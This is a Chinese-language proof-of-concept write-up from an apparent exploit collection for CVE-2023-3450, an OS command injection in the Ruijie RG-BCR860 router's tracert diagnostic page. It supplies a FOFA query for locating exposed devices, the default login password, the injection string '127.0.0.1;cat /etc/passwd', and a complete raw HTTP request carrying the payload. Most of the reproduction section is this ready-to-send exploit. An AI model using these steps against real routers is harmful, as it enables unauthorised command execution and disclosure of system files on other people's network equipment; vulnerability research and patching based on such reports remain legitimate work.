POC/wpoc/锐捷/锐捷路由器/锐捷RG-BCR860路由器命令执行漏洞(CVE-2023-3450).md
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# 锐捷RG-BCR860路由器命令执行漏洞CVE-2023-3450
# 一、漏洞简介
RG-BCR860是锐捷网络推出的一款商业云路由器它是专为酒店、餐饮、门店设计适用带宽100Mbps,带机量可达150台支持Sec VPM、内置安全审计模块给商家带来更好的网络营销体验 。该产品主支持全中文的WEB 界面配置不再需要用传统的命令行进行配置使得设备更加简单方便的进行维护和管理。RG-BCR860 2.5.13版本存在操作系统命令注入漏洞该漏洞源于组件Network Diagnostic Page存在问题会导致操作系统命令注入。
# 二、影响版本
+ 锐捷路由器RG-BCR860
# 三、资产测绘
+ fofa`icon_hash="-399311436"`
![1692606754994-2f1216a0-282b-45a6-94fc-b7f5dd405745.png](./img/m9qo6lOTSwrcQIzK/1692606754994-2f1216a0-282b-45a6-94fc-b7f5dd405745-691021.png)
+ 登录页面
![1692606877528-52b592a6-ef53-44d7-8dbc-8ffe1299e9e6.png](./img/m9qo6lOTSwrcQIzK/1692606877528-52b592a6-ef53-44d7-8dbc-8ffe1299e9e6-740734.png)
# 四、漏洞复现
1. 该漏洞属于后台漏洞需要登录后台默认密码admin
![1692606937330-5391e9ce-3c7b-4c56-8529-034a3d1a2a32.png](./img/m9qo6lOTSwrcQIzK/1692606937330-5391e9ce-3c7b-4c56-8529-034a3d1a2a32-877796.png)
2. 漏洞位置:网络诊断->Tracert检测->输入`127.0.0.1;cat /etc/passwd`
![1692607017024-349a76e0-e5a3-4a4a-83d1-acaa51b2c694.png](./img/m9qo6lOTSwrcQIzK/1692607017024-349a76e0-e5a3-4a4a-83d1-acaa51b2c694-896230.png)
3. 数据包
```plain
GET /cgi-bin/luci/;stok=8bbbc7db8f9e3d2d972bd7ab13f21a75/admin/diagnosis?diag=tracert&tracert_address=127.0.0.1%3Bcat+%2Fetc%2Fpasswd&seq=20 HTTP/1.1
Host: xx.xx.xx.xx
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/116.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Connection: close
Cookie: sysauth=698164456dede213f8f15cebba269273
```
![1694586407185-44b0cbef-6fc5-4191-be0e-3cebec716a20.png](./img/m9qo6lOTSwrcQIzK/1694586407185-44b0cbef-6fc5-4191-be0e-3cebec716a20-599627.png)
> 更新: 2024-06-24 11:42:27
> 原文: <https://www.yuque.com/xiaokp7/ocvun2/iodb45mpku6ufxa5>